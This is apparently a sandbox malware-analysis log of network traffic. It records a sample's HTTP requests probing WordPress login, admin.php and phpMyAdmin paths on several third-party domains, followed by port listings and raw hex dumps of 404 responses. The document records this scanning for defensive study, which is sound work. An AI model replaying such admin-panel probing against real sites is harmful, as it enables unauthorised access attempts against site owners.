Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-login.php HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipCookie: vsid=928vr449082280872762214User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://airanatoliava.org/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://giannicastellani.it/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://giannicastellani.it/wp-login.php
Source: global traffic	HTTP traffic detected: GET /wp-admin/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0Referer: http://gztit.com/wp-login.php
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpmyadmin/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: giannicastellani.itAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin.php HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: yekai.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /phpMyAdmin/ HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /admin HTTP/1.1Host: furnscales.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /PhpMyAdmin/ HTTP/1.1Host: airanatoliava.orgAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Source: global traffic	HTTP traffic detected: GET /pma/ HTTP/1.1Host: gztit.comAccept: /Accept-Encoding: deflate, gzipUser-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 51142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51143
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51962
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54483
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54482
Source: unknown	Network traffic detected: HTTP traffic on port 51143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 51135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51135
Source: unknown	Network traffic detected: HTTP traffic on port 54482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51140
Source: unknown	Network traffic detected: HTTP traffic on port 52154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 51962 -> 443

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:01:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 18 00 00 00 1f 3d 5c a8 37 66 30 7c 67 57 e9 d9 8c f4 ed 35 70 40 c7 45 89 0c 8a a1 00 37 cc 03 00 34 6f 8a 38 01 00 00 00 02 00 9e 03 00 00 8b 3e 6c 0d a7 1b 52 86 af 2f 77 aa 83 0a 43 00 39 77 0d e0 2f 81 e6 89 73 59 a7 7d 68 54 09 6d 9a 1d 31 84 ec ba e2 a7 40 9f 98 15 d4 f0 30 2a 63 2f 26 3c c7 4d 8c 99 39 6c 3d 53 47 c2 9e 39 be 29 8d 28 26 61 f2 3c 8d ce 02 b5 cf 78 62 e5 a5 c1 90 5c 2d ab ee 05 93 38 52 fe 4e 35 05 dc 44 49 ab a0 3f 72 54 62 f6 a4 60 d1 17 4b 2b 97 4b 52 9a 18 6b 6f 52 3a dc ee 4b ce a5 5c 42 10 ea f6 7a fe 3c b9 4c 8c 72 cf 3f 43 a1 b2 6f 0a 0a ca 4e 25 6f 4c 3a 3d b2 5c e8 84 fd bc 6d e2 dc a1 a7 f4 73 93 20 fc 0c 82 88 12 f7 a3 ef 06 14 ad 02 3a 46 8a 0d a9 07 fa 67 45 f6 23 fc 4b 2c be 78 bf 55 36 4c 3d f5 3c 42 3e 7d e8 28 7a 3a 34 d7 41 b4 90 2c a6 59 58 e5 62 09 eb 95 5a b7 ba c5 09 16 be 03 bb 2b 37 b1 3e a1 b3 1b c7 8b ef 77 04 77 3f 6c df 89 82 9b 28 97 e9 b0 ea 24 de c0 49 60 55 8c df 1a 73 e8 78 31 3e 8b 58 94 82 3e 37 59 63 c3 36 e3 3a 2f b3 b6 09 fb 7f f3 8f 1b fc 26 28 bc fd 33 3f 89 5e bf f1 0e 63 62 99 63 9d 20 36 fe f0 a2 86 2c 4b 78 f2 b4 2c d4 ce 13 c4 2d ca 95 3a d9 64 6d 54 b3 5c 76 2c 4e 89 f7 3d 58 4d f5 12 8b 75 0c f8 cd 2b 7d 30 c0 2b fe 21 2a 7f 15 6d 3f 16 9e 01 b5 69 eb 9d ed 8d ee 41 d5 45 24 19 4b 1f 52 f1 9d 79 17 9b a4 e5 ab ea fc 39 44 e6 f0 63 b3 34 62 01 f0 92 0e 5e fc fd 8a c8 9b 10 5f 47 d8 54 31 a2 2b c6 4d 36 cd 60 df d8 4f c5 44 25 78 20 ef 1b 08 ad 5d 35 d1 7a 05 c7 57 dd b3 46 91 4a 01 92 a0 31 f3 b6 5f 99 74 c0 c9 f3 12 b1 02 66 86 b1 ad f1 8b 14 d9 ea 1a 24 e9 4e d1 15 f3 a9 1c c4 16 d5 e6 00 a7 09 17 b6 de 40 6b c3 fd cf f3 3b 5b 4a 76 fb 4d fa 6a d1 2c c1 e0 7e 1b 2b c0 11 6e b8 9d 9a fa 03 03 c5 6c 91 63 12 49 53 b1 0f 30 36 77 1f f7 e6 87 ad 05 de 93 db fc 4e f1 69 be e5 e3 9e e3 56 da ef ef 8a c8 40 39 ae 15 4f ce b3 12 7c 8e 6a 18 41 66 35 99 7e 83 84 08 cd ee cf cd 9b da 0d 58 73 6c 8a 96 03 37 fa 43 43 fe a8 50 75 48 e9 60 17 4c aa 25 df a1 a9 6a b9 d6 d6 a4 62 e8 a9 b7 76 79 f1 50 93 7c 2c e6 d0 49 56 e1 d6 47 59 19 7d 27 84 22 66 13 de 9e 1f a0 7c 85 2b dc ef 24 3b 92 33 8d a6 52 d2 8e 29 80 d0 f3 4f b5 e2 72 22 4d 9a 70 ea 84 bd 7e 69 94 5b c4 f6 01 42 7c ee a7 84 cd 7a 58 39 62 79 cf f7 6f e9 d6 eb 85 59 0e 75 06 d1 04 8d d7 af 40 60 76 57 c4 2d 70 c6 b0 57 ad 50 f1 57 80 a0 a2 04 10 a1 2f 49 6d 26 b4 91 24 df 14 8f b6 65 b1 49 70 9f 31 03 96 8c 54 0a 5b 2c 95 a1 8e bd 1f f3 f5 56 7e 79 48 59 a9 3d 78 ed 6f 4f 33 13 20 7a ad f0 83 08 17 2f f1 27 a6 d0 f2 c0 9d 2a 19 c8 4b 73 42 fb 6d 8e 46 46 5e 76 11 29 3e c1 4b 58 80 22 17 75 a5 9a cb a2 29 73 76 ff 45 a7 3e 33 23 bd eb 32 16 b9 e2 67 6e f1 5c 47 79 b8 5a de 69 7e 2e bf 3c 4d bb fb 2a 1b c5 0c e4 c6 60 15 56 38 18 d5 f9 83 7f a0 63 2f d2 f0 46 65 73 fe 74 89 c7 8b 39 3e db 7d 26 f1 9c 20 e5 d4 19 85 0e 0c 22 4b 08 f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:01:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 e5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 fa cb 1f 9e 1d 09 52 2b b5 c8 83 7b 32 44 f4 ff f9 f8 78 bf c4 0d 13 13 bf 1e e1 92 c4 08 4c c4 08 a0 c1 a1 61 80 dc f5 69 d7 23 17 7e 5f af 9a 9f c8 c9 a0 c1 a9 dd 7a 0d 80 4d 19 e0 2c d5 a9 18 0a f5 96 be 27 51 61 9f d4 3f 7c 88 28 c8 48 6e a1 c1 4a 9a 03 fd ec 9e fa 46 ac 87 2b bd 61 00 1a 59 bf 44 34 fd 79 12 6c 23 6c 29 6c 0a 8d c7 fd f4 0e a4 fb 7e 71 eb 80 f5 1a 78 9b 4a d8 19 ae cc 4f 3b 79 82 ae 0c 96 01 4c 49 56 ad f3 57 9b 11 b9 fa 4d cd 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 17 23 7b 39 26 e7 ac 04 28 84 42 40 77 9b c7 9b 84 f7 3d 66 15 8b 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 8b fa d2 63 1b c3 cb 29 e4 d4 e5 5b 1e 44 ab 1e 26 83 13 ee c3 ca 57 a3 4c 1d 85 1f d4 5c 68 91 9c 29 06 f1 0c 5e ae 63 75 81 7e 90 c7 7d 10 9f d8 3e e1 b0 99 17 9a 8a cd fe 7f 74 79 52 6e 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 6b a9 b4 7b 2f 08 64 5a b1 ae 46 1f 58 02 ab 7a 8f 56 50 e3 cd 74 d8 37 00 9c e0 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 7f dc e5 3e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:01:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 02 Dec 2023 17:01:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 51 2b c6 6c ff 1f 7e 45 f7 ff 78 8d 55 db 24 0d 10 12 b4 1f eb 92 24 5e 52 c5 03 21 f1 a1 61 7e de f5 23 35 19 17 7e 4f af 9a a5 34 d4 a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 1d 1a f4 96 be 25 51 61 9f d4 3f 7c 88 28 c8 48 6b 11 97 4a 9a 07 fd ec 94 b5 64 ac 85 2f bd e0 0d c0 4d bf 46 24 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 69 f7 d1 4f 07 79 82 ae 9c 97 54 4c fd f5 ac f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 c2 49 ff 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 94 42 40 9f 9a c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 77 da aa 1b 6f d3 cb 29 32 7e fa 5b 1e 50 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 4d 67 85 4d 5e ae 03 93 62 27 e4 a6 0d 0d 9f 10 a3 d9 b0 99 5d 84 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 17 b2 fa b0 92 48 a9 b4 bb 89 d9 16 28 d2 ae 10 1f d0 05 ab 7a 8f 82 76 e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a d6 4d cb e7 17 3f dc e5 7e 4d a6 70 